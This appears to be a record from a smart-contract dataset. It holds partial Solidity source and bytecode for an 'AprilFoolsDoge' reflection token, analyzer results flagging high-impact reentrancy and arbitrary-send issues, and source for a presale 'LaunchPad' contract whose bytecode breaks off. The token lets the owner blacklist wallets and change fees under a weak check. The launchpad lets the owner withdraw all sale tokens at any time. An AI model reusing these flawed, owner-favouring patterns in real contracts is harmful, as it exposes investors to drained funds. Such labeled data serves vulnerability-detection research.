uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057b578063dd62ed3e1461059b578063ea1644d5146105e1578063f2fde38b1461060157600080fd5b8063a2a957bb146104f6578063a9059cbb14610516578063bfd7928414610536578063c3c8cd801461056657600080fd5b80638f70ccf7116100d15780638f70ccf7146104715780638f9a55c01461049157806395d89b41146104a757806398a5c315146104d657600080fd5b80637d1db4a5146103fb5780637f2feddc1461041157806380f860091461043e5780638da5cb5b1461045357600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039157806370a08231146103a6578063715018a6146103c657806374010ece146103db57600080fd5b8063313ce5671461031557806349bd5a5e146103315780636b999053146103515780636d8aa8f81461037157600080fd5b80631694505e116101b65780631694505e1461028257806318160ddd146102ba57806323b872dd146102df5780632fd689e3146102ff57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025257600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b74565b610621565b005b34801561021557600080fd5b5060408051808201909152600e81526d417072696c466f6f6c73446f676560901b60208201525b6040516102499190611c39565b60405180910390f35b34801561025e57600080fd5b5061027261026d366004611c8e565b6106c0565b6040519015158152602001610249565b34801561028e57600080fd5b506013546102a2906001600160a01b031681565b6040516001600160a01b039091168152602001610249565b3480156102c657600080fd5b50670de0b6b3a76400005b604051908152602001610249565b3480156102eb57600080fd5b506102726102fa366004611cba565b6106d7565b34801561030b57600080fd5b506102d160175481565b34801561032157600080fd5b5060405160098152602001610249565b34801561033d57600080fd5b506014546102a2906001600160a01b031681565b34801561035d57600080fd5b5061020761036c366004611cfb565b610740565b34801561037d57600080fd5b5061020761038c366004611d28565b61078b565b34801561039d57600080fd5b506102076107d3565b3480156103b257600080fd5b506102d16103c1366004611cfb565b610800565b3480156103d257600080fd5b50610207610822565b3480156103e757600080fd5b506102076103f6366004611d43565b610896565b34801561040757600080fd5b506102d160155481565b34801561041d57600080fd5b506102d161042c366004611cfb565b60116020526000908152604090205481565b34801561044a57600080fd5b506102076108d8565b34801561045f57600080fd5b506000546001600160a01b03166102a2565b34801561047d57600080fd5b5061020761048c366004611d28565b610abd565b34801561049d57600080fd5b506102d160165481565b3480156104b357600080fd5b506040805180820190915260068152654146444f474560d01b602082015261023c565b3480156104e257600080fd5b506102076104f1366004611d43565b610b1c565b34801561050257600080fd5b50610207610511366004611d5c565b610b4b565b34801561052257600080fd5b50610272610531366004611c8e565b610ba5565b34801561054257600080fd5b50610272610551366004611cfb565b60106020526000908152604090205460ff1681565b34801561057257600080fd5b50610207610bb2565b34801561058757600080fd5b50610207610596366004611d8e565b610be8565b3480156105a757600080fd5b506102d16105b6366004611e12565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ed57600080fd5b506102076105fc366004611d43565b610c89565b34801561060d57600080fd5b5061020761061c366004611cfb565b610cb8565b6000546001600160a01b031633146106545760405162461bcd60e51b815260040161064b90611e4b565b60405180910390fd5b60005b81518110156106bc5760016010600084848151811061067857610678611e80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b481611eac565b915050610657565b5050565b60006106cd338484610da2565b5060015b92915050565b60006106e4848484610ec6565b610736843361073185604051806060016040528060288152602001611fc6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611402565b610da2565b5060019392505050565b6000546001600160a01b0316331461076a5760405162461bcd60e51b815260040161064b90611e4b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b55760405162461bcd60e51b815260040161064b90611e4b565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f357600080fd5b476107fd8161143c565b50565b6001600160a01b0381166000908152600260205260408120546106d190611476565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161064b90611e4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161064b90611e4b565b6611c37937e0800081116108d357600080fd5b601555565b6000546001600160a01b031633146109025760405162461bcd60e51b815260040161064b90611e4b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190611ec7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e257600080fd5b505afa1580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611ec7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a6257600080fd5b505af1158015610a76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9a9190611ec7565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ae75760405162461bcd60e51b815260040161064b90611e4b565b601454600160a01b900460ff1615610afe57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b465760405162461bcd60e51b815260040161064b90611e4b565b601755565b6000546001600160a01b03163314610b755760405162461bcd60e51b815260040161064b90611e4b565b60095482111580610b885750600b548111155b610b9157600080fd5b600893909355600a91909155600955600b55565b60006106cd338484610ec6565b6012546001600160a01b0316336001600160a01b031614610bd257600080fd5b6000610bdd30610800565b90506107fd816114fa565b6000546001600160a01b03163314610c125760405162461bcd60e51b815260040161064b90611e4b565b60005b82811015610c83578160056000868685818110610c3457610c34611e80565b9050602002016020810190610c499190611cfb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c7b81611eac565b915050610c15565b50505050565b6000546001600160a01b03163314610cb35760405162461bcd60e51b815260040161064b90611e4b565b601655565b6000546001600160a01b03163314610ce25760405162461bcd60e51b815260040161064b90611e4b565b6001600160a01b038116610d475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e045760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064b565b6001600160a01b038216610e655760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064b565b6001600160a01b038216610f8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064b565b60008111610fee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064b565b6000546001600160a01b0384811691161480159061101a57506000546001600160a01b03838116911614155b156112fb57601454600160a01b900460ff166110b3576000546001600160a01b038481169116146110b35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064b565b6015548111156111055760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064b565b6001600160a01b03831660009081526010602052604090205460ff1615801561114757506001600160a01b03821660009081526010602052604090205460ff16155b61119f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064b565b6014546001600160a01b0383811691161461122457601654816111c184610800565b6111cb9190611ee4565b106112245760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064b565b600061122f30610800565b6017546015549192508210159082106112485760155491505b80801561125f5750601454600160a81b900460ff16155b801561127957506014546001600160a01b03868116911614155b801561128e5750601454600160b01b900460ff165b80156112b357506001600160a01b03851660009081526005602052604090205460ff16155b80156112d857506001600160a01b03841660009081526005602052604090205460ff16155b156112f8576112e6826114fa565b4780156112f6576112f64761143c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061133d57506001600160a01b03831660009081526005602052604090205460ff165b8061136f57506014546001600160a01b0385811691161480159061136f57506014546001600160a01b03848116911614155b1561137c575060006113f6565b6014546001600160a01b0385811691161480156113a757506013546001600160a01b03848116911614155b156113b957600854600c55600954600d555b6014546001600160a01b0384811691161480156113e457506013546001600160a01b03858116911614155b156113f657600a54600c55600b54600d555b610c8384848484611683565b600081848411156114265760405162461bcd60e51b815260040161064b9190611c39565b5060006114338486611efc565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bc573d6000803e3d6000fd5b60006006548211156114dd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064b565b60006114e76116b1565b90506114f383826116d4565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061154257611542611e80565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce9190611ec7565b816001815181106115e1576115e1611e80565b6001600160a01b0392831660209182029290920101526013546116079130911684610da2565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611640908590600090869030904290600401611f13565b600060405180830381600087803b15801561165a57600080fd5b505af115801561166e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061169057611690611716565b61169b848484611744565b80610c8357610c83600e54600c55600f54600d55565b60008060006116be61183b565b90925090506116cd82826116d4565b9250505090565b60006114f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061187b565b600c541580156117265750600d54155b1561172d57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611756876118a9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117889087611906565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117b79086611948565b6001600160a01b0389166000908152600260205260409020556117d9816119a7565b6117e384836119f1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182891815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061185682826116d4565b82101561187257505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361189c5760405162461bcd60e51b815260040161064b9190611c39565b5060006114338486611f84565b60008060008060008060008060006118c68a600c54600d54611a15565b92509250925060006118d66116b1565b905060008060006118e98e878787611a6a565b919e509c509a509598509396509194505050505091939550919395565b60006114f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611402565b6000806119558385611ee4565b9050838110156114f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064b565b60006119b16116b1565b905060006119bf8383611aba565b306000908152600260205260409020549091506119dc9082611948565b30600090815260026020526040902055505050565b6006546119fe9083611906565b600655600754611a0e9082611948565b6007555050565b6000808080611a2f6064611a298989611aba565b906116d4565b90506000611a426064611a298a89611aba565b90506000611a5a82611a548b86611906565b90611906565b9992985090965090945050505050565b6000808080611a798886611aba565b90506000611a878887611aba565b90506000611a958888611aba565b90506000611aa782611a548686611906565b939b939a50919850919650505050505050565b600082611ac9575060006106d1565b6000611ad58385611fa6565b905082611ae28583611f84565b146114f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b8035611b6f81611b4f565b919050565b60006020808385031215611b8757600080fd5b823567ffffffffffffffff80821115611b9f57600080fd5b818501915085601f830112611bb357600080fd5b813581811115611bc557611bc5611b39565b8060051b604051601f19603f83011681018181108582111715611bea57611bea611b39565b604052918252848201925083810185019188831115611c0857600080fd5b938501935b82851015611c2d57611c1e85611b64565b84529385019392850192611c0d565b98975050505050505050565b600060208083528351808285015260005b81811015611c6657858101830151858201604001528201611c4a565b81811115611c78576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611ca157600080fd5b8235611cac81611b4f565b946020939093013593505050565b600080600060608486031215611ccf57600080fd5b8335611cda81611b4f565b92506020840135611cea81611b4f565b929592945050506040919091013590565b600060208284031215611d0d57600080fd5b81356114f381611b4f565b80358015158114611b6f57600080fd5b600060208284031215611d3a57600080fd5b6114f382611d18565b600060208284031215611d5557600080fd5b5035919050565b60008060008060808587031215611d7257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611da357600080fd5b833567ffffffffffffffff80821115611dbb57600080fd5b818601915086601f830112611dcf57600080fd5b813581811115611dde57600080fd5b8760208260051b8501011115611df357600080fd5b602092830195509350611e099186019050611d18565b90509250925092565b60008060408385031215611e2557600080fd5b8235611e3081611b4f565b91506020830135611e4081611b4f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ec057611ec0611e96565b5060010190565b600060208284031215611ed957600080fd5b81516114f381611b4f565b60008219821115611ef757611ef7611e96565b500190565b600082821015611f0e57611f0e611e96565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f635784516001600160a01b031683529383019391830191600101611f3e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611fa157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611fc057611fc0611e96565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220efa72ae7678b2d4f3d7ac526aabd472d966cff04f86501b847ac3f6da62fab7764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,519
0xa3684a568aed5c9d8aa4df00f93652ca620cf42a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LaunchPad is Ownable { using SafeMath for uint256; IERC20 public token; struct Tier{ uint256 maxDeposit; uint256 minDeposit; } struct UserInfo { uint256 tier; uint256 deposit; bool withdawn; } mapping(uint256 => Tier) public tiers; mapping(address => UserInfo) public userInfo; uint256 public _TOTAL_SOLD_TOKEN; uint256 public _TOTAL_DEPOSIT; uint256 public _RATE; uint256 public _CAP_SOFT; uint256 public _CAP_HARD; uint256 public _TIME_START; uint256 public _TIME_END; uint256 public _TIME_RELEASE; bool public _PUBLIC_SALE = false; receive() external payable { deposit(); } function ownerWithdrawETH() public onlyOwner{ require(block.timestamp > _TIME_END, "Presale haven't finished yet"); require(_TOTAL_DEPOSIT >= _CAP_SOFT, "Presale didn't hit softcap"); payable(msg.sender).transfer(address(this).balance); } function ownerWithdrawToken() public onlyOwner{ token.transfer(msg.sender, token.balanceOf(address(this))); } function setTokenForPresale(address _tokenAddress) public onlyOwner{ token = IERC20(_tokenAddress); } function setWhitelist(address[] calldata accounts, uint256 tier) public onlyOwner { require(tier < 4); for( uint256 i = 0; i < accounts.length; i++){ userInfo[accounts[i]].tier = tier; } } function setupTier(uint256 tierId, uint256 maxDeposit, uint256 minDeposit) public onlyOwner{ require(tierId <=3, "There are 3 tiers"); tiers[tierId].minDeposit = minDeposit; tiers[tierId].maxDeposit = maxDeposit; } function setupPresale(uint256 start, uint256 end, uint256 release, uint256 rate, uint256 softcap, uint256 hardcap) public onlyOwner{ _RATE = rate; _CAP_SOFT = softcap; _CAP_HARD = hardcap; _TIME_START = start; _TIME_END = end; _TIME_RELEASE = release; } function openSalePubicly(bool opened) public onlyOwner { _PUBLIC_SALE = opened; } function deposit() public payable { uint256 tier = userInfo[msg.sender].tier; require(block.timestamp >= _TIME_START && block.timestamp <= _TIME_END, "Presale is not active this time"); if(!_PUBLIC_SALE){ require(tier > 0, "This wallet is not allowed to join the launchpad"); require(msg.value >= tiers[tier].minDeposit, "Please check minimum amount contribution"); require(userInfo[msg.sender].deposit.add(msg.value) <= tiers[tier].maxDeposit, "Check max contribution per wallet"); }else { // Open publicly, tier 0 require(msg.value >= tiers[0].minDeposit, "Please check minimum amount contribution"); require(userInfo[msg.sender].deposit.add(msg.value) <= tiers[0].maxDeposit, "Check max contribution per wallet"); } require(_TOTAL_DEPOSIT.add(msg.value) <= _CAP_HARD, "Exceed HARD CAP"); userInfo[msg.sender].deposit = userInfo[msg.sender].deposit.add(msg.value); _TOTAL_DEPOSIT = _TOTAL_DEPOSIT.add(msg.value); _TOTAL_SOLD_TOKEN = _TOTAL_DEPOSIT.mul(_RATE).mul(10**token.decimals()).div(10**18); } function withdraw() public { require(block.timestamp > _TIME_END, "Presale haven't finished yet"); require(!userInfo[msg.sender].withdawn, "Already withdawn!"); if(_TOTAL_DEPOSIT < _CAP_SOFT){ if(userInfo[msg.sender].deposit > 0){ payable(msg.sender).transfer(userInfo[msg.sender].deposit); userInfo[msg.sender].withdawn = true; } }else { require(block.timestamp > _TIME_RELEASE, "Please check token release time"); token.transfer(msg.sender, userInfo[msg.sender].deposit.mul(_RATE).mul(10**token.decimals()).div(10**18)); userInfo[msg.sender].withdawn = true; } } }
0x60806040526004361061014f5760003560e01c80636e0ca4aa116100b6578063b25ec61b1161006f578063b25ec61b146103c5578063c39fee71146103db578063d0e30db0146103f1578063e4fe15d4146103f9578063f2fde38b14610423578063fc0c546a1461044357600080fd5b80636e0ca4aa14610312578063715018a6146103325780638910c092146103475780638d814a8c1461035d5780638da5cb5b1461037d578063981e21c9146103af57600080fd5b806337117b7f1161010857806337117b7f1461027b57806338583d07146102915780633ccfd60b146102a75780633f81aad1146102bc5780634e004706146102dc57806351c61df2146102fc57600080fd5b8063039af9eb146101635780630b895c51146101b15780630c04940c146101c65780631959a002146101e657806327a910dc146102425780632cb713221461025757600080fd5b3661015e5761015c610463565b005b600080fd5b34801561016f57600080fd5b5061019761017e36600461121e565b6002602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b3480156101bd57600080fd5b5061015c6107c5565b3480156101d257600080fd5b5061015c6101e1366004611250565b6108f5565b3480156101f257600080fd5b50610225610201366004611140565b60036020526000908152604090208054600182015460029092015490919060ff1683565b6040805193845260208401929092521515908201526060016101a8565b34801561024e57600080fd5b5061015c61097f565b34801561026357600080fd5b5061026d60085481565b6040519081526020016101a8565b34801561028757600080fd5b5061026d60065481565b34801561029d57600080fd5b5061026d600a5481565b3480156102b357600080fd5b5061015c610a7a565b3480156102c857600080fd5b5061015c6102d7366004611140565b610d33565b3480156102e857600080fd5b5061015c6102f73660046111e4565b610d7f565b34801561030857600080fd5b5061026d600b5481565b34801561031e57600080fd5b5061015c61032d36600461127c565b610dbc565b34801561033e57600080fd5b5061015c610e00565b34801561035357600080fd5b5061026d60075481565b34801561036957600080fd5b5061015c610378366004611169565b610e74565b34801561038957600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101a8565b3480156103bb57600080fd5b5061026d60095481565b3480156103d157600080fd5b5061026d60045481565b3480156103e757600080fd5b5061026d60055481565b61015c610463565b34801561040557600080fd5b50600c546104139060ff1681565b60405190151581526020016101a8565b34801561042f57600080fd5b5061015c61043e366004611140565b610f14565b34801561044f57600080fd5b50600154610397906001600160a01b031681565b3360009081526003602052604090205460095442108015906104875750600a544211155b6104d85760405162461bcd60e51b815260206004820152601f60248201527f50726573616c65206973206e6f742061637469766520746869732074696d650060448201526064015b60405180910390fd5b600c5460ff166105ca576000811161054b5760405162461bcd60e51b815260206004820152603060248201527f546869732077616c6c6574206973206e6f7420616c6c6f77656420746f206a6f60448201526f1a5b881d1a19481b185d5b98da1c185960821b60648201526084016104cf565b60008181526002602052604090206001015434101561057c5760405162461bcd60e51b81526004016104cf90611323565b6000818152600260209081526040808320543384526003909252909120600101546105a79034610ffe565b11156105c55760405162461bcd60e51b81526004016104cf906112e2565b610671565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077c543410156106145760405162461bcd60e51b81526004016104cf90611323565b7fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54336000908152600360205260409020600101546106539034610ffe565b11156106715760405162461bcd60e51b81526004016104cf906112e2565b6008546005546106819034610ffe565b11156106c15760405162461bcd60e51b815260206004820152600f60248201526e045786365656420484152442043415608c1b60448201526064016104cf565b336000908152600360205260409020600101546106de9034610ffe565b336000908152600360205260409020600101556005546106fe9034610ffe565b6005819055506